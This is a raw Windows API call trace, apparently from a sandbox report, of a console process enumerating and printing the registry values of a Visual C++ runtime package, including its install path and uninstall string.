GetConsoleOutputCP () returned 0x1b5 [0148.595] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0148.595] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0148.595] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.595] __iob_func () returned 0x7fefd702a80 [0148.595] _fileno (_File=0x7fefd702ab0) returned 1 [0148.595] _errno () returned 0xc4bb0 [0148.595] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.595] _errno () returned 0xc4bb0 [0148.595] GetFileType (hFile=0x50) returned 0x1 [0148.595] lstrlenW (lpString="") returned 0 [0148.596] __iob_func () returned 0x7fefd702a80 [0148.596] _fileno (_File=0x7fefd702ab0) returned 1 [0148.596] _errno () returned 0xc4bb0 [0148.596] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.596] _errno () returned 0xc4bb0 [0148.596] GetFileType (hFile=0x50) returned 0x1 [0148.596] lstrlenW (lpString="\n") returned 1 [0148.596] GetConsoleOutputCP () returned 0x1b5 [0148.596] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0148.596] GetConsoleOutputCP () returned 0x1b5 [0148.596] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0148.596] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0148.596] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.596] GetProcessHeap () returned 0x2e0000 [0148.596] GetProcessHeap () returned 0x2e0000 [0148.596] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0) returned 1 [0148.596] GetProcessHeap () returned 0x2e0000 [0148.596] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fcda0) returned 0x6 [0148.596] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0 | out: hHeap=0x2e0000) returned 1 [0148.596] RegEnumValueW (in: hKey=0x5c, dwIndex=0x8, lpValueName=0x2f5bc0, lpcchValueName=0x23f6d4, lpReserved=0x0, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0 | out: lpValueName="InstallSource", lpcchValueName=0x23f6d4, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0) returned 0x0 [0148.596] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="InstallSource", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0xea) returned 0x0 [0148.596] GetProcessHeap () returned 0x2e0000 [0148.596] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0xc, Size=0xec) returned 0x302970 [0148.596] GetProcessHeap () returned 0x2e0000 [0148.596] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x302970) returned 1 [0148.596] GetProcessHeap () returned 0x2e0000 [0148.596] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x302970) returned 0xec [0148.596] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="InstallSource", dwFlags=0x1000ffff, pdwType=0x23f5f0, pvData=0x302970, pcbData=0x23f670*=0xea | out: pdwType=0x23f5f0*=0x1, pvData="C:\\ProgramData\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\packages\\vcRuntimeAdditional_amd64\\", pcbData=0x23f670*=0xe8) returned 0x0 [0148.597] __iob_func () returned 0x7fefd702a80 [0148.597] _memicmp (_Buf1=0x2fb5f0, _Buf2=0xffdd1458, _Size=0x7) returned 0 [0148.597] _vsnwprintf (in: _Buffer=0x2fbd60, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x23f580 | out: _Buffer=" ") returned 4 [0148.597] _fileno (_File=0x7fefd702ab0) returned 1 [0148.597] _errno () returned 0xc4bb0 [0148.597] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.597] _errno () returned 0xc4bb0 [0148.597] GetFileType (hFile=0x50) returned 0x1 [0148.597] lstrlenW (lpString=" ") returned 4 [0148.597] GetConsoleOutputCP () returned 0x1b5 [0148.597] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0148.597] GetConsoleOutputCP () returned 0x1b5 [0148.597] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0148.597] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0148.597] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.597] lstrlenW (lpString="InstallSource") returned 13 [0148.597] __iob_func () returned 0x7fefd702a80 [0148.597] _fileno (_File=0x7fefd702ab0) returned 1 [0148.597] _errno () returned 0xc4bb0 [0148.597] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.597] _errno () returned 0xc4bb0 [0148.597] GetFileType (hFile=0x50) returned 0x1 [0148.597] lstrlenW (lpString="InstallSource") returned 13 [0148.597] GetConsoleOutputCP () returned 0x1b5 [0148.598] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="InstallSource", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0148.598] GetConsoleOutputCP () returned 0x1b5 [0148.598] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="InstallSource", cchWideChar=13, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="InstallSource", lpUsedDefaultChar=0x0) returned 13 [0148.598] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 13 [0148.598] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.598] __iob_func () returned 0x7fefd702a80 [0148.598] _fileno (_File=0x7fefd702ab0) returned 1 [0148.598] _errno () returned 0xc4bb0 [0148.598] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.598] _errno () returned 0xc4bb0 [0148.598] GetFileType (hFile=0x50) returned 0x1 [0148.598] lstrlenW (lpString=" ") returned 4 [0148.598] GetConsoleOutputCP () returned 0x1b5 [0148.598] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0148.598] GetConsoleOutputCP () returned 0x1b5 [0148.598] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0148.598] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0148.598] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.598] __iob_func () returned 0x7fefd702a80 [0148.598] _fileno (_File=0x7fefd702ab0) returned 1 [0148.599] _errno () returned 0xc4bb0 [0148.599] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.599] _errno () returned 0xc4bb0 [0148.599] GetFileType (hFile=0x50) returned 0x1 [0148.599] lstrlenW (lpString="REG_SZ") returned 6 [0148.599] GetConsoleOutputCP () returned 0x1b5 [0148.599] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0148.599] GetConsoleOutputCP () returned 0x1b5 [0148.599] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_SZ", lpUsedDefaultChar=0x0) returned 6 [0148.599] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 6 [0148.599] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.599] __iob_func () returned 0x7fefd702a80 [0148.599] _fileno (_File=0x7fefd702ab0) returned 1 [0148.599] _errno () returned 0xc4bb0 [0148.599] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.599] _errno () returned 0xc4bb0 [0148.599] GetFileType (hFile=0x50) returned 0x1 [0148.599] lstrlenW (lpString=" ") returned 4 [0148.599] GetConsoleOutputCP () returned 0x1b5 [0148.599] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0148.599] GetConsoleOutputCP () returned 0x1b5 [0148.599] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0148.600] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0148.600] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.600] __iob_func () returned 0x7fefd702a80 [0148.600] _fileno (_File=0x7fefd702ab0) returned 1 [0148.600] _errno () returned 0xc4bb0 [0148.600] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.600] _errno () returned 0xc4bb0 [0148.600] GetFileType (hFile=0x50) returned 0x1 [0148.600] lstrlenW (lpString="C:\\ProgramData\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\packages\\vcRuntimeAdditional_amd64\\") returned 115 [0148.600] GetConsoleOutputCP () returned 0x1b5 [0148.600] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="C:\\ProgramData\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\packages\\vcRuntimeAdditional_amd64\\", cchWideChar=115, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 115 [0148.600] GetConsoleOutputCP () returned 0x1b5 [0148.600] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="C:\\ProgramData\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\packages\\vcRuntimeAdditional_amd64\\", cchWideChar=115, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\ProgramData\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\packages\\vcRuntimeAdditional_amd64\\", lpUsedDefaultChar=0x0) returned 115 [0148.600] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 115 [0148.600] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.600] __iob_func () returned 0x7fefd702a80 [0148.600] _fileno (_File=0x7fefd702ab0) returned 1 [0148.600] _errno () returned 0xc4bb0 [0148.600] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.600] _errno () returned 0xc4bb0 [0148.600] GetFileType (hFile=0x50) returned 0x1 [0148.600] lstrlenW (lpString="\n") returned 1 [0148.600] GetConsoleOutputCP () returned 0x1b5 [0148.600] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0148.601] GetConsoleOutputCP () returned 0x1b5 [0148.601] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0148.601] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0148.601] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.601] GetProcessHeap () returned 0x2e0000 [0148.601] GetProcessHeap () returned 0x2e0000 [0148.601] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x302970) returned 1 [0148.601] GetProcessHeap () returned 0x2e0000 [0148.601] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x302970) returned 0xec [0148.601] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x302970 | out: hHeap=0x2e0000) returned 1 [0148.601] RegEnumValueW (in: hKey=0x5c, dwIndex=0x9, lpValueName=0x2f5bc0, lpcchValueName=0x23f6d4, lpReserved=0x0, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0 | out: lpValueName="ModifyPath", lpcchValueName=0x23f6d4, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0) returned 0x0 [0148.601] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="ModifyPath", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x6a) returned 0x0 [0148.601] GetProcessHeap () returned 0x2e0000 [0148.601] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0xc, Size=0x6c) returned 0x2fd9a0 [0148.601] GetProcessHeap () returned 0x2e0000 [0148.601] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fd9a0) returned 1 [0148.601] GetProcessHeap () returned 0x2e0000 [0148.601] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fd9a0) returned 0x6c [0148.601] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="ModifyPath", dwFlags=0x1000ffff, pdwType=0x23f5f0, pvData=0x2fd9a0, pcbData=0x23f670*=0x6a | out: pdwType=0x23f5f0*=0x2, pvData="MsiExec.exe /X{E512788E-C50B-3858-A4B9-73AD5F3F9E93}", pcbData=0x23f670*=0x6a) returned 0x0 [0148.601] __iob_func () returned 0x7fefd702a80 [0148.601] _memicmp (_Buf1=0x2fb5f0, _Buf2=0xffdd1458, _Size=0x7) returned 0 [0148.601] _vsnwprintf (in: _Buffer=0x2fbd60, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x23f580 | out: _Buffer=" ") returned 4 [0148.601] _fileno (_File=0x7fefd702ab0) returned 1 [0148.601] _errno () returned 0xc4bb0 [0148.601] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.601] _errno () returned 0xc4bb0 [0148.601] GetFileType (hFile=0x50) returned 0x1 [0148.601] lstrlenW (lpString=" ") returned 4 [0148.602] GetConsoleOutputCP () returned 0x1b5 [0148.602] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0148.602] GetConsoleOutputCP () returned 0x1b5 [0148.602] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0148.602] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0148.602] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.602] lstrlenW (lpString="ModifyPath") returned 10 [0148.602] __iob_func () returned 0x7fefd702a80 [0148.602] _fileno (_File=0x7fefd702ab0) returned 1 [0148.602] _errno () returned 0xc4bb0 [0148.602] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.602] _errno () returned 0xc4bb0 [0148.602] GetFileType (hFile=0x50) returned 0x1 [0148.602] lstrlenW (lpString="ModifyPath") returned 10 [0148.602] GetConsoleOutputCP () returned 0x1b5 [0148.602] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="ModifyPath", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0148.602] GetConsoleOutputCP () returned 0x1b5 [0148.602] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="ModifyPath", cchWideChar=10, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ModifyPath", lpUsedDefaultChar=0x0) returned 10 [0148.602] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 10 [0148.602] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.603] __iob_func () returned 0x7fefd702a80 [0148.603] _fileno (_File=0x7fefd702ab0) returned 1 [0148.603] _errno () returned 0xc4bb0 [0148.603] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.603] _errno () returned 0xc4bb0 [0148.603] GetFileType (hFile=0x50) returned 0x1 [0148.603] lstrlenW (lpString=" ") returned 4 [0148.603] GetConsoleOutputCP () returned 0x1b5 [0148.603] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0148.603] GetConsoleOutputCP () returned 0x1b5 [0148.603] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0148.603] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0148.603] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.603] __iob_func () returned 0x7fefd702a80 [0148.603] _fileno (_File=0x7fefd702ab0) returned 1 [0148.603] _errno () returned 0xc4bb0 [0148.603] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.603] _errno () returned 0xc4bb0 [0148.603] GetFileType (hFile=0x50) returned 0x1 [0148.603] lstrlenW (lpString="REG_EXPAND_SZ") returned 13 [0148.603] GetConsoleOutputCP () returned 0x1b5 [0148.603] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_EXPAND_SZ", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0148.603] GetConsoleOutputCP () returned 0x1b5 [0148.604] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_EXPAND_SZ", cchWideChar=13, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_EXPAND_SZ", lpUsedDefaultChar=0x0) returned 13 [0148.604] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 13 [0148.604] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.604] __iob_func () returned 0x7fefd702a80 [0148.604] _fileno (_File=0x7fefd702ab0) returned 1 [0148.604] _errno () returned 0xc4bb0 [0148.604] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.604] _errno () returned 0xc4bb0 [0148.604] GetFileType (hFile=0x50) returned 0x1 [0148.604] lstrlenW (lpString=" ") returned 4 [0148.604] GetConsoleOutputCP () returned 0x1b5 [0148.604] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0148.604] GetConsoleOutputCP () returned 0x1b5 [0148.604] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0148.604] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0148.604] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.604] __iob_func () returned 0x7fefd702a80 [0148.604] _fileno (_File=0x7fefd702ab0) returned 1 [0148.604] _errno () returned 0xc4bb0 [0148.604] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.604] _errno () returned 0xc4bb0 [0148.604] GetFileType (hFile=0x50) returned 0x1 [0148.604] lstrlenW (lpString="MsiExec.exe /X{E512788E-C50B-3858-A4B9-73AD5F3F9E93}") returned 52 [0148.604] GetConsoleOutputCP () returned 0x1b5 [0148.605] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="MsiExec.exe /X{E512788E-C50B-3858-A4B9-73AD5F3F9E93}", cchWideChar=52, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 52 [0148.605] GetConsoleOutputCP () returned 0x1b5 [0148.605] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="MsiExec.exe /X{E512788E-C50B-3858-A4B9-73AD5F3F9E93}", cchWideChar=52, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MsiExec.exe /X{E512788E-C50B-3858-A4B9-73AD5F3F9E93}", lpUsedDefaultChar=0x0) returned 52 [0148.605] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 52 [0148.605] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.605] __iob_func () returned 0x7fefd702a80 [0148.605] _fileno (_File=0x7fefd702ab0) returned 1 [0148.605] _errno () returned 0xc4bb0 [0148.605] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.605] _errno () returned 0xc4bb0 [0148.605] GetFileType (hFile=0x50) returned 0x1 [0148.605] lstrlenW (lpString="\n") returned 1 [0148.605] GetConsoleOutputCP () returned 0x1b5 [0148.605] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0148.605] GetConsoleOutputCP () returned 0x1b5 [0148.605] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0148.605] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0148.605] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.605] GetProcessHeap () returned 0x2e0000 [0148.605] GetProcessHeap () returned 0x2e0000 [0148.605] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fd9a0) returned 1 [0148.605] GetProcessHeap () returned 0x2e0000 [0148.606] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fd9a0) returned 0x6c [0148.606] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fd9a0 | out: hHeap=0x2e0000) returned 1 [0148.606] RegEnumValueW (in: hKey=0x5c, dwIndex=0xa, lpValueName=0x2f5bc0, lpcchValueName=0x23f6d4, lpReserved=0x0, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0 | out: lpValueName="NoModify", lpcchValueName=0x23f6d4, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0) returned 0x0 [0148.606] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="NoModify", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x4) returned 0x0 [0148.606] GetProcessHeap () returned 0x2e0000 [0148.606] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0xc, Size=0x6) returned 0x2fcda0 [0148.606] GetProcessHeap () returned 0x2e0000 [0148.606] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0) returned 1 [0148.606] GetProcessHeap () returned 0x2e0000 [0148.606] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fcda0) returned 0x6 [0148.606] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="NoModify", dwFlags=0x1000ffff, pdwType=0x23f5f0, pvData=0x2fcda0, pcbData=0x23f670*=0x4 | out: pdwType=0x23f5f0*=0x4, pvData=0x2fcda0*=0x1, pcbData=0x23f670*=0x4) returned 0x0 [0148.606] __iob_func () returned 0x7fefd702a80 [0148.606] _memicmp (_Buf1=0x2fb5f0, _Buf2=0xffdd1458, _Size=0x7) returned 0 [0148.606] _vsnwprintf (in: _Buffer=0x2fbd60, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x23f580 | out: _Buffer=" ") returned 4 [0148.606] _fileno (_File=0x7fefd702ab0) returned 1 [0148.606] _errno () returned 0xc4bb0 [0148.606] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.606] _errno () returned 0xc4bb0 [0148.606] GetFileType (hFile=0x50) returned 0x1 [0148.606] lstrlenW (lpString=" ") returned 4 [0148.606] GetConsoleOutputCP () returned 0x1b5 [0148.606] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0148.606] GetConsoleOutputCP () returned 0x1b5 [0148.606] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0148.606] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0148.606] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.607] lstrlenW (lpString="NoModify") returned 8 [0148.607] __iob_func () returned 0x7fefd702a80 [0148.607] _fileno (_File=0x7fefd702ab0) returned 1 [0148.607] _errno () returned 0xc4bb0 [0148.607] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.607] _errno () returned 0xc4bb0 [0148.607] GetFileType (hFile=0x50) returned 0x1 [0148.607] lstrlenW (lpString="NoModify") returned 8 [0148.607] GetConsoleOutputCP () returned 0x1b5 